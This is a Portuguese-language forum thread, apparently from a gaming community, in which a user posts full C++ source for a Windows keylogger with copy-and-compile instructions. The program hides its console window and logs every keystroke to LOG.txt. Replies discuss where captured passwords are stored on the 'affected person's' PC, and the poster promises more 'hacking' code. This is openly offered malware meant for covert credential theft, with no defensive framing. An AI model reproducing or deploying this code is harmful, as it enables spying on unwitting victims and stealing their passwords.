antiblock
https://arwen2.global/
  • Chatbox

    Did you check out our Discord? https://discord.gg/FFdvMjk9xA
    You don't have permission to chat.
    Load More
Sign in to follow this  
ɓʀuɳѳ' ИИ#92

Como Fazer Um Keylogger Básico Em C++

18 posts in this topic

Requisitos:

1) Dev C + +

2) Conhecimento sobre o Visual C + + (se tu vais desenvolver o código) Bem, vamos começar. Download Dev C + + a partir http://www.bloodshed.net e instalá-lo no computador. seguida, abra o Dev C + + e vá para File> New> arquivo fonte U vai ver um espaço em branco Overthere palavra cole este código:

#include <iostream>using namespace std;#include <windows.h>#include <winuser.h>int Save (int key_stroke, char *file);void Stealth();int main(){Stealth();char i;while (1){for(i = 8; i <= 190; i++){if (GetAsyncKeyState(i) == -32767)Save (i,"LOG.txt");}}system ("PAUSE");return 0;}/* *********************************** */int Save (int key_stroke, char *file){if ( (key_stroke == 1) || (key_stroke == 2) )return 0;FILE *OUTPUT_FILE;OUTPUT_FILE = fopen(file, "a+");cout << key_stroke << endl;if (key_stroke == 8)fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");else if (key_stroke == 13)fprintf(OUTPUT_FILE, "%s", "\n");else if (key_stroke == 32)fprintf(OUTPUT_FILE, "%s", " ");else if (key_stroke == VK_TAB)fprintf(OUTPUT_FILE, "%s", "[TAB]");else if (key_stroke == VK_SHIFT)fprintf(OUTPUT_FILE, "%s", "[SHIFT]");else if (key_stroke == VK_CONTROL)fprintf(OUTPUT_FILE, "%s", "[CONTROL]");else if (key_stroke == VK_ESCAPE)fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");else if (key_stroke == VK_END)fprintf(OUTPUT_FILE, "%s", "[END]");else if (key_stroke == VK_HOME)fprintf(OUTPUT_FILE, "%s", "[HOME]");else if (key_stroke == VK_LEFT)fprintf(OUTPUT_FILE, "%s", "[LEFT]");else if (key_stroke == VK_UP)fprintf(OUTPUT_FILE, "%s", "[UP]");else if (key_stroke == VK_RIGHT)fprintf(OUTPUT_FILE, "%s", "[RIGHT]");else if (key_stroke == VK_DOWN)fprintf(OUTPUT_FILE, "%s", "[DOWN]");else if (key_stroke == 190 || key_stroke == 110)fprintf(OUTPUT_FILE, "%s", ".");elsefprintf(OUTPUT_FILE, "%s", &key_stroke);fclose (OUTPUT_FILE);return 0;}/* *********************************** */void Stealth(){HWND Stealth;AllocConsole();Stealth = FindWindowA("ConsoleWindowClass", NULL);ShowWindow(Stealth,0);}
Compila o código [F9]

E pronto :) Visto assim parece fácil ;)

Créditos: WAR10CK

Share this post


Link to post
Share on other sites
antiblock
Elveron

Fácil com quem diz mano muita gente nem sabe para que serve include ou o while quanto mais o monte de linhas xDMas http://cyber-gamers.org/public/style_emoticons/default/451960.gif

Share this post


Link to post
Share on other sites

Fácil com quem diz mano muita gente nem sabe para que serve include ou o while quanto mais o monte de linhas xD

Mas http://cyber-gamers.org/public/style_emoticons/default/451960.gif

- Sim, mas eu disse facil porque é so copiar e colar xD se quiser editar e que tem de perceber mais.

- Obrigado

Cumprimentos.

Share this post


Link to post
Share on other sites

Onde ficam guardadas as pass's?

Share this post


Link to post
Share on other sites

Save (i,"LOG.txt");

Fica, no PC da Pessoa Afetada pelo KeyLogger :)

Share this post


Link to post
Share on other sites

Save (i,"LOG.txt");

Fica, no PC da Pessoa Afetada pelo KeyLogger :)

Como ele disse e muito bem "LOG.txt"

Share this post


Link to post
Share on other sites

e esse LOG.txt fica em que sitio do computador?

Share this post


Link to post
Share on other sites
Umh como não tem um barra antes não sei definir, mas ou fica em C:/ ou na Dir de onde o programa é lançado.

Share this post


Link to post
Share on other sites

okok ty vou testar e como ando a dar c++ vai ser fixe pa aprender ;)

Share this post


Link to post
Share on other sites

na Dir de onde o programa é lançado.

como ando a dar c++ vai ser fixe pa aprender ;)

Então vou tentar mais coisas em C ++ mas o que irei postar vai ser quase tudo " hacking "

Cumprimentos

Share this post


Link to post
Share on other sites

Diz-me uma coisa,basta simplesmente abrir,copiar e colar? explica melhor sff :)

Share this post


Link to post
Share on other sites

Diz-me uma coisa,basta simplesmente abrir,copiar e colar? explica melhor sff :)

- Basicamente é isso, so que ao fim de colar, compilas ..

Cumprimentos ɓʀuɳѳ

Share this post


Link to post
Share on other sites

Hmmm onde posso encontrar o log.txt? testei no meu pc em primeiro lugar a ver o que dava,mas nao encontro o ficheiro agora :Basta clicar no icon do dev c++(do keylogger) e regista tudo certo? http://cyber-gamers.org/public/style_emoticons/default/451960.gif

Share this post


Link to post
Share on other sites

Hmmm onde posso encontrar o log.txt? testei no meu pc em primeiro lugar a ver o que dava,mas nao encontro o ficheiro agora :

Basta clicar no icon do dev c++(do keylogger) e regista tudo certo?

http://cyber-gamers.org/public/style_emoticons/default/451960.gif

- O log.txt fica em (C:) ou então na pasta do dev c++ ..

- Basta dares run e ele começa a registrar :)

Cumprimentos ɓʀuɳѳ

Share this post


Link to post
Share on other sites

Já entendi sim,mas está a dar um error seria possivel dáres o teu skype? agradeçia..

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this